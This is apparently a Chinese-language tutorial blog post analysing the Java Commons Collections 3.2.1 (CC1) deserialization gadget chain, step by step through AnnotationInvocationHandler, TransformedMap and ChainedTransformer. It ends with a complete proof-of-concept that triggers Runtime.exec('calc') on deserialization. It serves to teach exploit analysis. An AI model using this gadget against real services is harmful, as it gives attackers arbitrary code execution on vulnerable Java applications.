CommonsCollections1反序列化链简析
如果Java项目具有Commons Collections3.2.1依赖,则会存在反序列化利用漏洞
该链中,终点是InvokerTransformer类,它是接口transform的一个实现类,其重写的transform()方法可以通过反射的方式调用危险方法
public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } }
|
最终执行的就是
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); invokerTransformer.transform(Runtime.getRuntime());
|
接下来,寻找调用了transform的类或实例,在TransformedMap类下的checkSetValue()方法存在
protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
|
可惜,该方法及该类的构造器都被protected修饰,无法在类外调用,但是往上翻可以看到一个decorate()方法可以对valueTransformer进行赋值
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
|
先对现有的链进行包装
Map<Object, Object> map = new HashMap<Object, Object>(); map.put("key", "value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
|
下一步是找到能触发checkSetValue()方法的机会,从MapEntry类的setValue()方法里看到了
public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value); }
|
简单说的话,我们从TransformedMap里遍历出的元素就是MapEntry的实例,所以可以用for增强提取出单个entry去使用setValue()方法,处理完后的链
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Map<Object, Object> map = new HashMap<Object, Object>(); map.put("key", "value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer); for(Map.Entry<Object,Object> entry : transformedMap.entrySet()) { entry.setValue(Runtime.getRuntime()); }
|
详细点说,transformedMap在遍历调用entrySet()时,使用了父类重写的entrySet()方法
public Set entrySet() { return (Set)(this.isSetValueChecking() ? new EntrySet(this.map.entrySet(), this) : this.map.entrySet()); }
|
而这里调用的isSetValueChecking()是transformedMap自己的isSetValueChecking()
protected boolean isSetValueChecking() { return this.valueTransformer != null; }
|
往前调用decorate()方法时,valueTransformer被赋值为invokerTransformer,所以isSetValueChecking()会返回true,对应到entrySet()里就是返回包装后的EntrySet实例
在for-each循环中,会隐式调用这个自定义 EntrySet 的 iterator() 方法,该方法返回一个 EntrySetIterator 实例
public Iterator iterator() { return new EntrySetIterator(this.collection.iterator(), this.parent); }
|
当EntrySetIterator尝试使用next()方法获取下一个元素时,该方法返回的是一个MapEntry类型的实例,这就是能拿到MapEntry的全过程
public Object next() { Map.Entry entry = (Map.Entry)this.iterator.next(); return new MapEntry(entry, this.parent); }
|
这里返回的MapEntry的parent属性来源于EntrySetIterator的parent,而EntrySetIterator的parent来自于EntrySet的parent,EntrySet由AbstractInputCheckedMapDecorator类的entrySet()方法产生,在构建时给parent传递的就是AbstractInputCheckedMapDecorator类型,对应到链中,遍历由transformedMap发起,而transformedMap的类是TransformedMap,继承于AbstractInputCheckedMapDecorator类,所以最后MapEntry执行的setValue()实际就是transformedMap.checkSetValue()
如果单单知道遍历过程返回了一个MapEntry倒还好,但是要溯源这一整个过程属实很困难,其中涉及到很多继承关系和实现类与接口,完全的抽象,这很Java
接下来继续寻找setValue()的上层,发现在AnnotationInvocationHandler类的readObject()方法中调用了setValue()
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); Object var2 = null;
try { var10 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); }
Map var3 = var10.memberTypes();
for(Map.Entry var5 : this.memberValues.entrySet()) { String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var10.members().get(var6))); } } }
}
|
这里var5是从属性this.memberValues遍历出来的,跟我们先前的构造有异曲同工之妙,下面看memberValues是从构造器中被赋值的
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } }
|
但是AnnotationInvocationHandler类的修饰符是default,无法在包外调用,需要利用反射去实例化它
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Override.class,transformedMap)
|
理论上直接往var2传transformedMap后面的var5就是需要的MapEntry,但是要执行到var5.setValue()还有两层if判断需要处理
根据String var6 = (String)var5.getKey(),var6是从this.memberValues提取出的键名
首先要求var7不为空。var7的来历是var10 = AnnotationType.getInstance(this.type) -> Map var3 = var10.memberTypes() -> Class var7 = (Class)var3.get(var6),这里首先从this.type属性获得该注解类对应的、全局唯一的 AnnotationType 实例,再从该实例中获取一个Map,该Map存储了注解中每个成员的名字和该成员被定义的类型,再从Map中获取键为var6的值强转为Object赋给var7。而要求var7不为空,实际则指传入 memberValues 的键名,必须是目标注解中存在的成员名称
在Action注解中,有好几个成员
public @interface Action { String input() default ""; String output() default ""; FaultAction[] fault() default { }; }
|
把先前map.put("key", "value")中的key改为任意一个(如input)即可通过检查
第二层if判断,要求var8不是var7类型和ExceptionProxy类型的实例,这里的var7经过上面的强转是一个Class类型,var8从Object var8 = var5.getValue()而来,因为我选择了Action注解的input成员,此处把put过去的值变成数字就能通过了
通过if判断后,setValue()语句长这样
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var10.members().get(var6)));
|
正常说,应该让setValue()的参数为Runtime.getRuntime(),而此处的参数被定义为了一长串无法控制的参数
实际上,执行setValue()的意义在于执行checkSetValue(),执行checkSetValue()的意义在于执行transformedMap中的this.valueTransformer.transform(),可以寻找一个类,让其执行transform()与参数无关,而正好有一个ConstantTransformer满足条件,它的transform()被方法重写为
public Object transform(Object input) { return this.iConstant; }
|
返回值完全与input无关,直接返回了属性iConstant,该属性在构建时被赋值
public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; }
|
但是这个类只能做到返回,不能去执行,还需要一个能够协调ConstantTransformer和invokerTransformer执行transform()方法的工具
在ChainedTransformer这个类中,其重写的transform()方法很有意思
public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); }
return object; }
|
iTransformers是一个存储了Transformer对象的数组,在构建时被赋值
public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; }
|
ChainedTransformer的transform()方法从iTransformers数组中逐个遍历出Transformer对象并执行它们的transform()方法,并把上一个transform()方法执行完的返回值当作下一个transform()的参数
在构建transformer数组前还有一个问题,Runtime没有接入Serializable接口,不能被序列化。所以在构建transformer数组时执行的命令链应该是利用反射实例化Runtime
如果chainedTransformer能构建出这样的iTransformers
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};
|
将chainedTransformer作为valueTransformer执行decorate(),那么最后执行到setValue()时,无论在setValue()传入了什么,都会被第一步ConstantTransformer执行transform()固定返回Runtime.class覆盖,之后就是命令链条的执行
最后的反序列化链,执行自动触发计算器
public class Main { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object, Object> map = new HashMap<Object, Object>(); map.put("input",1); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Action.class,transformedMap); serialize(o); unserialize("ser1.bin"); } public static void serialize(Object object) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser1.bin"))); oos.writeObject(object); }
public static void unserialize(String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(filename))); objectInputStream.readObject(); }
}
|
总结一下,在链中,一个AnnotationInvocationHandler对象被反序列化,这会触发其readObject()方法,该方法对传入的transformedMap调用了setValue()方法,该方法又调用了checkSetValue(),checkSetValue()的执行又调用了transformedMap中的this.valueTransformer.transform(),实际上就是chainedTransformer.transform(),该方法第一层无视了参数,直接返回Runtime.class,之后的transform()通过链式执行造成了恶意命令触发
ois.readObject() └── AnnotationInvocationHandler.readObject() ├── this.memberValues.entrySet() │ └── (TransformedMap).entrySet() │ └── AbstractInputCheckedMapDecorator.entrySet() │ ├── this.isSetValueChecking() │ │ └── (TransformedMap).isSetValueChecking() │ └── new EntrySet(..., this) // 创建EntrySet │ ├── EntrySet.iterator() │ └── new EntrySetIterator(..., this.parent) // 创建迭代器,传递parent │ └── for (Map.Entry var5 : ...) // 遍历循环 ├── EntrySetIterator.next() │ └── new MapEntry(entry, this.parent) │ ├── 类型检查逻辑 (var7 != null && !var7.isInstance(var8)) │ └── MapEntry.setValue(AnnotationTypeMismatchExceptionProxy) └── parent.checkSetValue(value) └── (TransformedMap).checkSetValue() └── this.valueTransformer.transform(value) // 执行预设的Transformer链 └── ChainedTransformer.transform() ├── ConstantTransformer.transform() // Runtime.class ├── InvokerTransformer.transform() // getMethod("getRuntime") ├── InvokerTransformer.transform() // invoke(null) Runtime └── InvokerTransformer.transform() // exec("calc") └── Runtime.getRuntime().exec("calc")
|